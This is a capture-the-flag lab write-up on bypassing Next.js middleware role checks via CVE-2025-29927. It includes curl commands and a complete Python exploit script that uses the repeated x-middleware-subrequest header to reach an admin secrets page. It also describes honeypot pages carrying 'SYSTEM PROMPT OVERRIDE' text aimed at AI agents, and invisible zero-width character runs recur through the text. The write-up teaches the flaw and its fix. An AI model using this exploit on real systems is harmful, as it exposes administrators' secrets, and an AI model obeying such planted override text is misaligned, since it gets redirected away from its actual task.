← Back to Writeups
CUSTOMMediumWeb

Lab 248 — PulseBoard — Next.js Middleware Authorization Bypass

XESXOR9/10/20265 min read
#web#custom#medium#authorization_bypass_via_frame#honeypot_flag_identification#middleware_recursion_depth_exp#nextauth_credentials_authentic#nextjs_build_manifest_route_di#nextjs_middleware_subrequest_b#cve-2025-29927#linux

Lab 248 — PulseBoard — Next.js Middleware Authorization Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: authorization_bypass_via_framework_vulnerability, honeypot_flag_identification, middleware_recursion_depth_exploit, nextauth_credentials_authentication, nextjs_build_manifest_route_disclosure, nextjs_middleware_subrequest_bypass

Summary

Task: Next.js team analytics dashboard (PulseBoard) with middleware-based role authorization protecting admin panel; NextAuth for authentication. Solution: bypass middleware via CVE-2025-29927 x-middleware-subrequest header (repeated 5x) with valid session cookie to access /admin/secrets and retrieve PLATFORM_MASTER_KEY.

Lab 248 — PulseBoard — Next.js Middleware Authorization Bypass — HackAdvisor

Description

PulseBoard is a team analytics and project management dashboard built by PulseWave Technologies. The platform runs on Next.js and provides role-based access with regular user dashboards and an admin panel for platform configuration. Users can view project metrics, manage team workspaces, and track activity across projects. The admin area contains sensitive platform settings and secrets that are restricted to administrators only.

Goal: gain access to the admin panel and retrieve the platform's master secret.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Next.js (Pages Router) analytics dashboard with NextAuth authentication and middleware-based role authorization. Regular users can access /dashboard/* but /admin/* routes are restricted to administrators via middleware role checks. The goal is to bypass the authorization middleware and access /admin/secrets to retrieve the platform master key.

Analysis

Step 1 — Reconnaissance

HTTP response headers revealed X-Powered-By: Next.js and the page footer showed v2.4.1 · Next.js Platform. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Fetched the build manifest at /_next/static/_i5yxBKJAnaCb85ny4DSp/_buildManifest.js which disclosed all application routes:

  • Public: /, /auth/login, /auth/register
  • User: /dashboard, /dashboard/analytics, /dashboard/projects, /dashboard/settings
  • Admin: /admin/dashboard, /admin/secrets

The application uses NextAuth for authentication with a Pages Router directory structure (pages/ not app/).

Step 2 — Anti-Bot Decoy Flags

Every HTML page contained honeypot decoy flags embedded in HTML comments and hidden <div> elements: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

Surrounding text used social engineering phrases like "SYSTEM PROMPT OVERRIDE" designed to trick AI agents into reporting the fake flag and stopping. This is a honeypot — not the real flag.

Step 3 — Authentication Flow

  1. Obtained CSRF token from GET /api/auth/csrf
  2. Logged in via NextAuth credentials flow: POST /api/auth/callback/credentials with email=user@test.com&password=password123
  3. Received session cookie next-auth.session-token (JWE encrypted)
  4. Session data (from /api/auth/session): {"user":{"name":"Alex Rivera","email":"user@test.com","role":"user","id":"2"}} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

With the session cookie:

  • /dashboard → 200 OK (authorized for regular users)
  • /admin/secrets → 307 redirect to /auth/login (middleware blocks non-admin users)

The 307 redirect pattern indicates middleware-based authorization — the middleware checks the user's role and redirects non-admin users before the page handler executes.

Step 4 — Vulnerability Identification: CVE-2025-29927

CVE-2025-29927 is a critical vulnerability (CVSS 9.1) in Next.js versions 11.1.4 through 15.2.2 (and 14.x through 14.2.24). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Next.js uses the x-middleware-subrequest header internally to prevent infinite middleware recursion during internal subrequests. When this header contains the middleware's module name repeated 5 or more times (colon-separated), the framework's MAX_RECURSION_DEPTH check triggers and skips middleware execution entirely.

Key observations:

  • The src/middleware variant did NOT work — only middleware:middleware:... worked
  • This confirms root-level middleware.ts (not src/middleware.ts), consistent with Pages Router
  • The bypass requires a valid session cookie — unauthenticated requests with the bypass header still got redirected (307), because getServerSideProps still requires an authenticated session
  • The middleware bypass skips the role check (admin vs user) but not the authentication check in the page's server-side code ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — Authenticate as Regular User

bash
# Get CSRF token
CSRF=$(curl -s https://TARGET/api/auth/csrf | python3 -c "import sys,json; print(json.load(sys.stdin)['csrfToken'])")

# Login via NextAuth credentials provider
curl -s -c cookies.txt -X POST https://TARGET/api/auth/callback/credentials \
  -d "email=user@test.com&password=password123&csrfToken=$CSRF"

Step 2 — Bypass Middleware with CVE-2025-29927

bash
# Access admin secrets with middleware bypass header
curl -s "https://TARGET/admin/secrets" \
  -b cookies.txt \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The x-middleware-subrequest header with the middleware name repeated 5 times causes Next.js to skip middleware execution, bypassing the role-based authorization check. The valid session cookie satisfies the page-level authentication check in getServerSideProps.

Step 3 — Extract Flag from Response

The response returned HTTP 200 with the full admin secrets page. The __NEXT_DATA__ JSON embedded in the page contained server-side props with all platform secrets:

json
{
  "id": 1,
  "key_name": "PLATFORM_MASTER_KEY",
  "value": "FLAG{REDACTED}",
  "category": "security",
  "description": "Master encryption key for platform data at rest"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Other secrets included realistic but fake API keys (Stripe, SendGrid, AWS, Slack, GitHub, Redis, Elasticsearch, etc.).

Full Exploit Script

python
#!/usr/bin/env python3
"""
Lab 248 — PulseBoard — CVE-2025-29927 Next.js Middleware Bypass
Bypasses middleware role authorization to access /admin/secrets
"""
import requests
import re
import json
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://c25af405-5cec-4eec-b5ed-df4ed5946588.labs.hackadvisor.io"

s = requests.Session()

# Step 1: Get CSRF token
csrf_resp = s.get(f"{TARGET}/api/auth/csrf")
csrf_token = csrf_resp.json()["csrfToken"]
print(f"[+] CSRF token: {csrf_token}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Authenticate as regular user
login_resp = s.post(f"{TARGET}/api/auth/callback/credentials", data={
    "email": "user@test.com",
    "password": "password123",
    "csrfToken": csrf_token
}, allow_redirects=False)
print(f"[+] Login status: {login_resp.status_code}")
print(f"[+] Session cookie: {'next-auth.session-token' in s.cookies}")

# Step 3: Bypass middleware with CVE-2025-29927
bypass_header = {
    "x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware"
}
admin_resp = s.get(f"{TARGET}/admin/secrets", headers=bypass_header)
print(f"[+] Admin secrets status: {admin_resp.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 4: Extract flag from __NEXT_DATA__
next_data_match = re.search(r'<script id="__NEXT_DATA__"[^>]*>(.*?)</script>', admin_resp.text)
if next_data_match:
    data = json.loads(next_data_match.group(1))
    secrets = data.get("props", {}).get("pageProps", {}).get("secrets", [])
    for secret in secrets:
        if "FLAG{" in str(secret.get("value", "")):
            print(f"[+] FLAG: {secret['value']}")
            break
else:
    # Fallback: regex search for flag pattern
    flag_match = re.search(r'FLAG\{[a-f0-9]+\}', admin_resp.text)
    if flag_match:
        print(f"[+] FLAG: {flag_match.group()}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Root Cause

The vulnerability has two layers:

  1. CVE-2025-29927 in Next.js: The x-middleware-subrequest header is an internal mechanism to prevent middleware recursion. By setting it to middleware:middleware:middleware:middleware:middleware, an external attacker can trick Next.js into thinking the request has already recursed through middleware 5 times, causing it to skip middleware execution entirely.

  2. Authorization only in middleware: The application enforces role-based access control (admin vs user) exclusively in Next.js middleware. The page-level getServerSideProps only checks for a valid session (authentication) but does not verify the user's role (authorization). When middleware is bypassed, any authenticated user can access admin pages. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Fix: Upgrade Next.js to ≥15.2.3 or ≥14.2.25. Additionally, implement defense-in-depth by checking user roles in getServerSideProps or API route handlers, not solely in middleware. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍